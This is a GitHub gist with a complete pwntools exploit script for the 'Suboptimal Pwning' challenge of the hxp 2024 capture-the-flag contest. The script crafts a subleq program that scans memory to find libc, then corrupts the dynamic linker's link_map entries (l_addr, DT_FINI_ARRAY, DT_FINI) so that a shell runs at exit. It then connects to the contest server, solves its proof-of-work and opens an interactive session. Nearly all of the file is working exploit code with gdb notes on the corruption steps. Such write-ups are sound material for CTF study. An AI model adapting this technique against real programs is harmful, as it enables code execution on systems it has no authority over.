Skip to content

Instantly share code, notes, and snippets.

@dfyz
Created December 29, 2024 20:22
Show Gist options
  • Select an option

  • Save dfyz/63196ac892ab7f30c5fef5080ba91a81 to your computer and use it in GitHub Desktop.

Select an option

Save dfyz/63196ac892ab7f30c5fef5080ba91a81 to your computer and use it in GitHub Desktop.
Suboptimal Pwning from hxp 2024
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def get_tube():
# returns (tube, use_pow)
if args.LOCAL:
return (process(['./sq', '/tmp/lol'], env={
# avoid running the leak detector on exit
'ASAN_OPTIONS': 'detect_leaks=0',
}), False)
else:
return (remote('116.203.90.102', 10203), True)
# return (remote('localhost', 10203), True)
#################################### RAW GDB SCRIPT ############################################
# 1. link_map->l_addr = sh
# set *(unsigned int*)($_base("libc") + 0x37b2e0) -= *(unsigned int*)($_base("libc") + 0x37b2e0)
# set *(unsigned int*)($_base("libc") + 0x37b2e4) -= *(unsigned int*)($_base("libc") + 0x37b2e4)
# set *(unsigned int*)($_base("libc") + 0x37b2e0) -= 0xffff978d
# # 2. link_map->l_info[DT_FINI_ARRAY] (0x40 + 0x08 * 0x1a) = 0
# set *(unsigned int*)($_base("libc") + 0x37b3f0) -= *(unsigned int*)($_base("libc") + 0x37b3f0)
# set *(unsigned int*)($_base("libc") + 0x37b3f4) -= *(unsigned int*)($_base("libc") + 0x37b3f4)
# # 3. link_map->l_info[DT_FINI] (0x40 + 0x08 * 0xd) = fake DT_FINI
# # 3a. Clear two auxiliary values, then make them contain the negative of what we need.
# set *(unsigned int*)($_base("libc") + 0x37b3b0) -= *(unsigned int*)($_base("libc") + 0x37b3b0)
# set *(unsigned int*)($_base("libc") + 0x37b3b4) -= *(unsigned int*)($_base("libc") + 0x37b3b4)
# set *(unsigned int*)($_base("libc") + 0x37b3b0) -= *(unsigned int*)($_base("libc") + 0x2046c0)
# set *(unsigned int*)($_base("libc") + 0x37b3b4) -= *(unsigned int*)($_base("libc") + 0x2046c4)
# # 3b. Clear the fake DT_FINI, then subtract the negatives (0 - (-x) = x)
# set *(unsigned int*)($_base("libc") + 0x37b388) -= *(unsigned int*)($_base("libc") + 0x37b388)
# set *(unsigned int*)($_base("libc") + 0x37b38c) -= *(unsigned int*)($_base("libc") + 0x37b38c)
# set *(unsigned int*)($_base("libc") + 0x37b388) -= *(unsigned int*)($_base("libc") + 0x37b3b0)
# set *(unsigned int*)($_base("libc") + 0x37b38c) -= *(unsigned int*)($_base("libc") + 0x37b3b4)
# set *(unsigned int*)($_base("libc") + 0x37b388) -= 0xffe25f08
# # 4. convert fake DT_FINI
# set *(unsigned int*)($_base("libc") + 0x2046c0) -= 0xfffd86f3
#################################### ACTUAL SUBLEQ ############################################
# # 01 = BASE + 0x37b2e0
# # 02 = BASE + 0x37b2e4
# # 03 = CONST(0xffff978d)
# # 04 = BASE + 0x37b3f0
# # 05 = BASE + 0x37b3f4
# # 06 = BASE + 0x37b3b0
# # 07 = BASE + 0x37b3b4
# # 08 = BASE + 0x2046c0
# # 09 = BASE + 0x2046c4
# # 10 = BASE + 0x37b388
# # 11 = BASE + 0x37b38c
# # 12 = CONST(0xffe25f08)
# # 13 = CONST(0xfffd86f3)
# SUB(1, 1)
# SUB(2, 2)
# SUB(1, 3)
# SUB(4, 4)
# SUB(5, 5)
# SUB(6, 6)
# SUB(7, 7)
# SUB(6, 8)
# SUB(7, 9)
# SUB(10, 10)
# SUB(11, 11)
# SUB(10, 6)
# SUB(11, 7)
# SUB(10, 12)
# SUB(8, 13)
if __name__ == '__main__':
LIBC_SIG = b'\x7f\x02\x00\x00\x03\x01\x90\x00'
PLACEHOLDER = 31_337_31_337
DUMMY = 0
MEM = [0] * 9999
N = len(MEM)
E = 3
# Make at most this number of leaks.
STEPS = 0xf0
# Leak starting from this offset.
START_OFFSET = 0x149cfe0 // 4
PAGE_OFFSET = 0x1000 // 4
pc = 0
for bb in range(8):
# MEM[E * bb] (for bb=0..7) are the current offsets to leak
# initially, leak from the start offsets
MEM[pc:pc+E] = [START_OFFSET + bb, -1, DUMMY]
pc += E
# print the newline
MEM[pc:pc+E] = [PLACEHOLDER + 3, -1, DUMMY]
pc += E
# reset the confirmation to zero
MEM[pc:pc+E] = [PLACEHOLDER + 2, PLACEHOLDER + 2, pc + E]
pc += E
# read confirmation to its cell
MEM[pc:pc+E] = [-1, PLACEHOLDER + 2, DUMMY]
pc += E
# subtract zero from confirmation
# if it was zero originally, break from the loop and execute the final payload
to_jump = pc + E - 1
MEM[pc:pc+E] = [PLACEHOLDER, PLACEHOLDER + 2, None]
pc += E
# decrement leaked offsets
for bb in range(8):
MEM[pc:pc+E] = [PLACEHOLDER + 4, E * bb, DUMMY]
pc += E
# decrement the offsets in the main subleq payload
decr_count = 15 * 2 - 3 # hardcoded, sorry not sorry
decrs_start = pc
for _ in range(decr_count):
MEM[pc:pc+E] = [None]*3
pc += E
# unconditionally jump to the beginning of the program
MEM[pc:pc+E] = [PLACEHOLDER, PLACEHOLDER, 0]
pc += E
payload_start = pc
MEM[to_jump] = payload_start
log.info('payload_start: %d', payload_start)
# PLACEHOLDER-??? is the subleq payload
# diff to account for libstdbuf.so in the full Docker
ld_diff = 0x3000//4
# 1.
# SUB(1, 1)
MEM[pc:pc+E] = [START_OFFSET + 0x37b2e0//4 + ld_diff, START_OFFSET + 0x37b2e0//4 + ld_diff, pc + E]
pc += E
# SUB(2, 2)
MEM[pc:pc+E] = [START_OFFSET + 0x37b2e4//4 + ld_diff, START_OFFSET + 0x37b2e4//4 + ld_diff, pc + E]
pc += E
# SUB(1, 3)
MEM[pc:pc+E] = [PLACEHOLDER + 5, START_OFFSET + 0x37b2e0//4 + ld_diff, pc + E]
pc += E
# SUB(4, 4)
MEM[pc:pc+E] = [START_OFFSET + 0x37b3f0//4 + ld_diff, START_OFFSET + 0x37b3f0//4 + ld_diff, pc + E]
pc += E
# SUB(5, 5)
MEM[pc:pc+E] = [START_OFFSET + 0x37b3f4//4 + ld_diff, START_OFFSET + 0x37b3f4//4 + ld_diff, pc + E]
pc += E
# SUB(6, 6)
MEM[pc:pc+E] = [START_OFFSET + 0x37b3b0//4 + ld_diff, START_OFFSET + 0x37b3b0//4 + ld_diff, pc + E]
pc += E
# SUB(7, 7)
MEM[pc:pc+E] = [START_OFFSET + 0x37b3b4//4 + ld_diff, START_OFFSET + 0x37b3b4//4 + ld_diff, pc + E]
pc += E
# SUB(6, 8)
MEM[pc:pc+E] = [START_OFFSET + 0x2046c0//4, START_OFFSET + 0x37b3b0//4 + ld_diff, pc + E]
pc += E
# SUB(7, 9)
MEM[pc:pc+E] = [START_OFFSET + 0x2046c4//4, START_OFFSET + 0x37b3b4//4 + ld_diff, pc + E]
pc += E
# SUB(10, 10)
MEM[pc:pc+E] = [START_OFFSET + 0x37b388//4 + ld_diff, START_OFFSET + 0x37b388//4 + ld_diff, pc + E]
pc += E
# SUB(11, 11)
MEM[pc:pc+E] = [START_OFFSET + 0x37b38c//4 + ld_diff, START_OFFSET + 0x37b38c//4 + ld_diff, pc + E]
pc += E
# SUB(10, 6)
MEM[pc:pc+E] = [START_OFFSET + 0x37b3b0//4 + ld_diff, START_OFFSET + 0x37b388//4 + ld_diff, pc + E]
pc += E
# SUB(11, 7)
MEM[pc:pc+E] = [START_OFFSET + 0x37b3b4//4 + ld_diff, START_OFFSET + 0x37b38c//4 + ld_diff, pc + E]
pc += E
# SUB(10, 12)
MEM[pc:pc+E] = [PLACEHOLDER + 6, START_OFFSET + 0x37b388//4 + ld_diff, pc + E]
pc += E
# SUB(8, 13)
MEM[pc:pc+E] = [PLACEHOLDER + 7, START_OFFSET + 0x2046c0//4, pc + E]
pc += E
# EXIT
MEM[pc:pc+E] = [PLACEHOLDER, PLACEHOLDER, -1]
pc += E
after_steps = pc
# PLACEHOLDER+0 is const zero.
MEM[after_steps + 0] = 0
pc += 1
# PLACEHOLDER+1 is the const address of the confirmation.
MEM[after_steps + 1] = after_steps + 2
pc += 1
# PLACEHOLDER+2 is the confirmation we read.
pc += 1
# PLACEHOLDER+3 is the newline.
MEM[after_steps + 3] = 0xa
pc += 1
# PLACEHOLDER+4 is the delta to decrement the current offset
MEM[after_steps + 4] = PAGE_OFFSET
pc += 1
# PLACEHOLDER+5 is const 03
MEM[after_steps + 5] = -26739
pc += 1
# PLACEHOLDER+6 is const 12
MEM[after_steps + 6] = -1941752
pc += 1
# PLACEHOLDER+7 is const 13
MEM[after_steps + 7] = -162061
pc += 1
start_addr = payload_start
to_patch = decrs_start
real_decr_count = 0
while True:
if MEM[start_addr:start_addr + E] == [PLACEHOLDER, PLACEHOLDER, -1]:
# got an exit nothing to patch
break
for bb in range(E):
if START_OFFSET < MEM[start_addr + bb] < PLACEHOLDER:
MEM[to_patch:to_patch+E] = [PLACEHOLDER + 4, start_addr + bb, DUMMY]
real_decr_count += 1
to_patch += E
start_addr += E
assert decr_count == real_decr_count, (decr_count, real_decr_count)
log.success('Needed %d instructions', pc)
for ii, val in enumerate(MEM):
if val >= PLACEHOLDER - 10_000:
MEM[ii] -= PLACEHOLDER
MEM[ii] += after_steps
prog = ' '.join(map(str, MEM)) + ' LOLEOF'
with open('/tmp/lol', 'w') as f:
print(prog, file=f)
raw_tube, use_pow = get_tube()
with raw_tube as tube:
# gdb.attach(tube)
if use_pow:
our_pow = tube.recvline().decode()
log.info(our_pow)
pattern = r'unhex\("([^"]+)" \+ S\).*?(\d+) zero bits'
import re
match = re.search(pattern, our_pow)
assert match
hex_string = match.group(1) # "cee2e04a7b2ad2c5"
zero_bits = match.group(2) # 26
import subprocess
# pow_solver = '/lol/pow-solver'
pow_solver = './pow-solver-nixos'
pow_res = subprocess.check_output([pow_solver, zero_bits, hex_string]).strip()
log.info('Got PoW res: %s', pow_res)
tube.sendline(pow_res)
payload = prog.encode()
tube.sendlineafter(b'Please give your subleq program: ', payload)
echoed = tube.recvuntil(b'LOLEOF')
# gdb.attach(tube)
cur_offset = START_OFFSET
for ss in range(STEPS):
sig = b''
expected = 9
while len(sig) != expected:
sig += tube.read(expected)
assert sig[-1] == 0xa
if sig[:-1] == LIBC_SIG:
log.success('Found after %d steps, offset 0x%x', ss, cur_offset)
# pause()
tube.send(b'\x00')
break
else:
log.info('Not found after %d steps', ss)
tube.send(b'B')
cur_offset -= PAGE_OFFSET
tube.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment